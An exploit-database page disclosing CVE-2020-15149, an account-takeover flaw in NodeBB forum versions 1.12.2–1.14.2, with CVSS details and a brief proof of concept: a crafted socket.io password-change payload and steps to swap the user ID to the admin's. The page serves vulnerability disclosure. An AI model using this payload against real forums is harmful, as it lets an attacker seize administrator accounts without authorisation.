NodeBB Forum 1.14.2 Account Takeover

2020.10.15

Credit: Muhammed Eren Uygun

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2020-15149

CWE: CWE-269

CVSS Base Score: 6.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title:  NodeBB Forum 1.12.2-1.14.2 - Account Takeover
# Date: 2020-08-18
# Exploit Author: Muhammed Eren Uygun
# Vendor Homepage: https://nodebb.org/
# Software Link: https://github.com/NodeBB/NodeBB
# Version: 1.12.2-1.14.2
# Tested on: Linux
# CVE : CVE-2020-15149 - https://github.com/NodeBB/NodeBB/security/advisories/GHSA-hr66-c8pg-5mg7
Impact:
----------------------
A bug in this validation logic made it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover.

Bug PoC:
----------------------
Blog: https://medium.com/bugbountywriteup/privilege-escalation-via-account-takeover-on-nodebb-forum-software-512-a593a7b1b4a4
1- Create a user
2- Go to password change page
3- Change password with proxy
427["user.changePassword",("currentPassword":"Test.12345!","newPassword":"Admin123!","uid":5)])
4- Replace the uid on the request with 1, which is the uid value of the admin user, and send the request.
5-  So you can login with this password to admin user.

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

NodeBB Forum 1.14.2 Account Takeover

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.